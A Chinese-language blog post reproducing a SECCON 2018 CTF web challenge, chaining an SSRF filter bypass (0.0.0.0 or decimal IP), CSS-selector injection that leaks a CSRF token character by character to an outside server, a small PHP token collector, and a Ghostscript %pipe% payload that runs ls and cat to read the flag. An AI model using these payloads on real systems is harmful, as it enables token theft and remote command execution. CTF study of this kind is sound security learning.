SECCON 18 web复现

看了先知社区syang师傅写的题解,对这道题很感兴趣,索性学习并复现了以下(题目地址没有关闭)。
题目地址
访问后得到如下信息,说明需要构造命令执行读取FLAG目录下的flag文件或者getshell。

GO TO TOP

点进来后是注册和登录界面,注册一个账号并登陆。

三个功能:
1.Message to admin
2.Take a screenshot
3.Upload image * Only for users logged in from the local network
文件上传功能这允许localhost登录才可以使用。
功能一中css参数可控,导致xss漏洞产生。

“<>”被转义了,所以payload的范围被限制了。
功能二中输入url可以获取截图,存在ssrf漏洞,过滤掉了localhost,可以利用http://0.0.0.0/,代表所有ip地址进行绕过。(也可以利用127.0.0.1的十进制绕过:2130706433)

XSS + SSRF获取本地登录cookie

通过图三会发现csrf token与我们的cookie相同。也就意味着我们只要获取本地登录的csrf token 即可通过修改cookie来切换为本地登录,达到利用上传的目的。
看了师傅的wp,学习了新的姿势。利用css选择器进行xss
利用payload: input[value^=”str”]{backround: url(http://your_server/?token=str)}
解释一下,css选择器可以利用这种方式,从开始处匹配input中value参数的值。如果成功匹配则访问后面的url。(^=从左至右匹配,$=从右至左匹配,具体用法文末分享链接。)
payload由以下内容经过base64得到。(这里的payload根据师傅的我修改了以下,加了一个[name=”csrf”],如果不加的话遇到其他input且value值与token的首位或者末位相同的话就会很麻烦。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
input[name="csrf"][value^="0"] {background: url(http://server?t=0)}
input[name="csrf"][value^="1"] {background: url(http://server?t=1)}
input[name="csrf"][value^="2"] {background: url(http://server?t=2)}
input[name="csrf"][value^="3"] {background: url(http://server?t=3)}
input[name="csrf"][value^="4"] {background: url(http://server?t=4)}
input[name="csrf"][value^="5"] {background: url(http://server?t=5)}
input[name="csrf"][value^="6"] {background: url(http://server?t=6)}
input[name="csrf"][value^="7"] {background: url(http://server?t=7)}
input[name="csrf"][value^="8"] {background: url(http://server?t=8)}
input[name="csrf"][value^="9"] {background: url(http://server?t=9)}
input[name="csrf"][value^="a"] {background: url(http://server?t=a)}
input[name="csrf"][value^="b"] {background: url(http://server?t=b)}
input[name="csrf"][value^="c"] {background: url(http://server?t=c)}
input[name="csrf"][value^="d"] {background: url(http://server?t=d)}
input[name="csrf"][value^="e"] {background: url(http://server?t=e)}
input[name="csrf"][value^="f"] {background: url(http://server?t=f)}

一共需要猜解22位,因此我们每猜出一位就需要更改一次payload,既我们猜解到首位字符位a,那么接下来的payload改为input[name=”csrf”][value^=”a0”] {background: url(http://server?token=0)},以此类推。payload可以利用python生成,这里不贴代码了。
说一下自己服务器端的代码,很简单,用来获取本地登录的token。

1
2
3
4
5
6
7
8
9
10
<?php

$t = $_GET['t'];
if(isset($t)){
$f = fopen("token.txt", "ab");
fwrite($f, $t);
fclose($f);
}

?>

这样只要我们通过功能二,先提交http://0.0.0.0/user=uname&pass=pwd&action=login,使得在本地登录我们的账号产生cookie,再提交http://0.0.0.0/?css=payload&msg=test&action=msgadm2即可在服务器获得token。服务器端记得在web目录下临时赋予用户写的权限。

到了这里利用Burp,刷新页面更改cookie即可使用上传功能。

Ghostscript命令执行

上传了一个php文件,发现被重命名为.jpg文件并报错。如何发现漏洞师傅的wp写的很清楚了我就不复述了,这里直接用Ghostscript命令执行漏洞获得flag。
首先上传内容为

1
2
3
4
5
6
7
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(ls /var/www/html/FLAG/)) currentdevice
putdeviceprops

的jpg文件,上传后点击Convert to GIF format,得到flag文件名。

修改payload为:

1
2
3
4
5
6
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(cat /var/www/html/FLAG/FLAGflagF1A8.txt)) currentdevice putdeviceprops

得到flag:

在这道题中学到了很多知识,不解的地方经过本地测试和查找资料也弄清楚了,着重学习了这个被限制的xss配合ssrf这个知识点。后面的漏洞上传有时间再去研究原理吧,研究这个题花费了挺多时间,不过很值得,更要感谢师傅的分享。
参考文章:
原wp地址
css选择器
GhostScript命令执行漏洞复现
CSS选择器,一篇就够了
任重道远,加油!

文章目录
  1. 1. GO TO TOP
  2. 2. XSS + SSRF获取本地登录cookie
  3. 3. Ghostscript命令执行